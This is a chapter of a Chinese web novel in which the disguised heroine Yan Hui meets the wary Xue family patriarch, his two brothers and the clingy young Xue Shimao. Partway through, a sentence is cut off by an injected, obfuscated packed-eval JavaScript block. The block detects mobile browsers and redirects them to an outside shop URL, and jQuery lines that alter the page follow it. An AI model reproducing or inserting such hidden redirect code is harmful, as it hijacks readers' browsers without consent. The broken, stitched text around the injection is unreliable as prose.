因着薛世茂异于常人的热情与真诚，晏回等人不得不立即启程，前往薛府安置。忙活了大半日，除了留在砚池马场看护马匹的楚庸，晏回、唐珠儿和范凌舟于傍晚时分，踏入了薛府会客的花厅。
夏季日头落得晚，此时正是晚霞漫天，烫红的夕阳顺着花厅的弦窗流泻而入，铺陈满地，映得整个厅堂都红彤彤的，呈现着一种略显调诡的热闹喧嚷。与那万红一窟的色调相反，花厅中的氛围却略显严肃冷硬。
甫一踏入厅堂，晏回便微微抬眸，将堂中三人一一看过。端坐于主位的是薛世茂的父亲，薛氏一族的当家人薛承宗，已过耳顺之年，鬓发斑白，脖颈微微向前勾着，倒是符合这个年纪该有的疲惫之感。
与薛承宗的凝然不动截然相反，族中二叔薛承业则活泛得多。他身材颇胖，肥腻的项子从宝蓝色的衫子领口处挤了出来，在下巴处堆成一叠，随着他夸张的笑声一颤一颤。他手里盘着两颗油光锃亮的核桃，正自咔嗒作响，见晏回等人到来，赶紧停了手上的动作，殷勤地站起身，向里迎着：“贵客贵客！来，快请快请！”
坐在最左侧的三叔薛承文也随之站了起来，微微倾了倾身，眼神却只是往晏回面上略略一瞟，随即便闪了开去，端坐在一旁不动了。
“诸位，我来介绍一下！”薛世茂一个箭步蹿到近前，笑容灿烂地张罗着。“爹，二叔，三叔，这就是我跟你们提过的晏回公子，从西域来的大马商！”
晏回笑着拱手，态度极为谦和：“在下晏回，见过薛老爷，二爷，三爷。”身后的范凌舟与唐珠儿也随着晏回见礼。
“哎呀，莫要多礼，莫要多礼！”薛承业抬手去搀，却听薛承宗冷冷蹦出一句：“马商……若要从西面入府城，想必是经过了卧牛山吧！”
始终惫倦垂着头终于缓缓抬起，抬眼看向晏回，浑浊的瞳仁里沁着冷光，那种审视尖刻的打量让人心底里不快，晏回却是温声应道：“薛老爷说得是，正是经过了卧牛山，山路难走，还耽误了几日行程。”
“可是听闻什么异事？”
“异事……”晏回笑容坦荡，面色平静如常，“小侄只顾赶马，如履薄冰，倒是没有心思打听什么异事，范掌柜，你可听闻？”
范凌舟翘起嘴角，左侧脸颊漾起一个纯良且正直的笑涡：“回公子，未曾。”
一旁的薛世茂见自家父亲问起来没个完，面上有些挂不住，扯着晏回就往椅子上按：“爹，先让客人落座吧！晏公子可是累了一天了！”
“正是正是”，薛承业也赶紧帮腔道，“这也就是晏公子年轻力壮，不远千里来府城贩马，若换作我啊……晏公子，我听说你此行所贩马匹竟是拳毛騧？可是唐太宗昭陵六骏里的那种？”
薛承业醉心商贾之术，早就憋了一肚子话想要问，这番见晏回终于落座，便再也忍不住，急不可待地问了出来。
晏回不置可否地颔首而笑：“二叔若是有兴趣，不妨抽时间去马场看一看，小侄定然作陪。”
晏回将对薛承业的称谓从“二爷”转换成了“二叔”，颇有几分亲近之意。薛承业自然心领神会，捋着胡子大笑道：“去！这必须去！晏公子有所不知，我薛家在历城县经营马场三代，就是缺匹像样的种马！天可怜见，竟……”
“二弟。”茶盏不轻不重地在桌案上磕了一下，薛承业立时噤声，微微扭头看向一旁的薛承宗。薛承宗端起茶盏，悠悠地啜了一口，杯中的热气蒸腾而上，模糊了薛承宗的表情。“晏公子想必是累了，今日还是莫要牵扯他的精力了罢。”
薛承业眸光闪动了一下，半晌方笑道：“大哥所言甚是，倒是我思虑不周了。”
见薛承宗已起了送客之意，晏回与范凌舟对视一眼，顺水推舟地起身行礼告辞。在走出花厅之前，晏回缓了缓步子，微微侧眸向花厅西北角的屏风投去一撇。皎白如新月的云母纸上，绘着一幅寒江独钓图，凄清冰冻的江面上，孤身一人的钓叟独守一船白雪。
“兄长在看什么？”身后追上来的薛世茂问道。
晏回收回目光，摇头笑道：“我在看那钓叟，钓的非是鱼，而是那轮江心的月亮。”言毕，大踏步地走出门去。
薛世茂听得丈二和尚摸不着头脑，也跟着回头打量了几眼，那屏风放在花厅里多年，自己竟从未仔细瞧过。他看了半天也没看出个所以然，有些懊恼地转过头，继续追晏回去了。却未曾注意屏风后有一抹水绿色的裙角，一闪而过。
* * *
“兄长，兄长！”绕过回廊，薛世茂总算追上了大踏步离去的晏回。“我还有几句话要同兄长说。”
范凌舟下意识地撇了撇嘴：“说了一日了，薛公子的嘴皮子不干啊？”
薛世茂笑嘻嘻地挠了挠头，愣是没有听出范凌舟的阴阳怪气：“倒是没有，只是有些话，不对兄长讲明终究憋闷。”
范凌舟自己也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668115|187430||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
承认，对这没心没肺的薛世茂是存了敌意的。虽说晏回始终是以男子的身份与薛世茂交往，薛世茂也打心眼儿里认准了晏回是他的兄长，可范凌舟眼瞧着对方像被面糊粘住的蝉儿般，日日亲亲密密地粘着晏回，吵嚷个不停，心里总是不痛快的。
范凌舟还欲回嘴，袖子便被唐珠儿一扯，拉到了一边儿去。
见范凌舟和唐珠儿一前一后消失在回廊的深处，薛世茂方开口道：“刚才……让兄长受委屈了。”
晏回抬眸，微微一笑：“这如何说得？”
薛世茂喏喏道：“家父自来就是如此，对外人颇为严苛审慎，当然，小弟绝没有说兄长是外人的意思，在小弟这里，兄长是嫡嫡亲的兄弟……可是，家父的想法，小弟也很难改变。”
“贤弟多虑了，愚兄岂能因这点小事矫情别扭。”晏回心里有着别的盘算，着实想快点儿打发了这黏屁股滚儿。她抬起手，佯作亲切地在薛世茂的肩膀上拍了拍。
正欲转身，却见薛世茂深吸一口气，似是下定了某种决心般大声道：“兄长定是觉得，二叔待人随和，是可相与的。可二叔是心里有想法之人，待兄长热忱是看重了兄长西域马商的身份、财势与手段，并非是倾慕兄长的才学人品，终究是……是同小弟不一样的！而小弟，也是同父亲不一样的，希望兄长不要因父亲之故，对小弟起了疏远之意……”
说到后来，薛世茂的声音越来越小，恍若蝇鸣。
他急于剖白，生怕薛承宗的冷漠伤了晏回的心，更是唯恐这刚认下的异姓兄弟因此生了嫌隙。自小生长在这深宅大院中，见惯了尔虞我诈，口蜜腹剑，倒唯有晏回让他感受到了与之截然不同的坦荡情谊，他又岂能不看重？
晏回的眉头微微蹙了蹙，在薛世茂抬头的瞬间，那抹浅淡的疑惑之色便散了去。
“我自是知道贤弟是不同的。”她的脸上重又洋溢起让薛世茂安心的笑意。
“当真？”
“当真。”
闻言，薛世茂长舒一口气，又抚胸口又拍大腿，动作夸张如一只挠不到后背的狒狒：“那便是小弟以小人之心度君子之腹了，如此便好，如此便好……”
“那……那小弟便不叨扰兄长了，兄长早些歇息。”初见时的纨绔子弟，此刻老老实实地拱手行礼，若是这番情景让王五六见到，只怕会惊叹连连吧！
而此时，王五六正小心翼翼地敲响薛承宗书房的大门。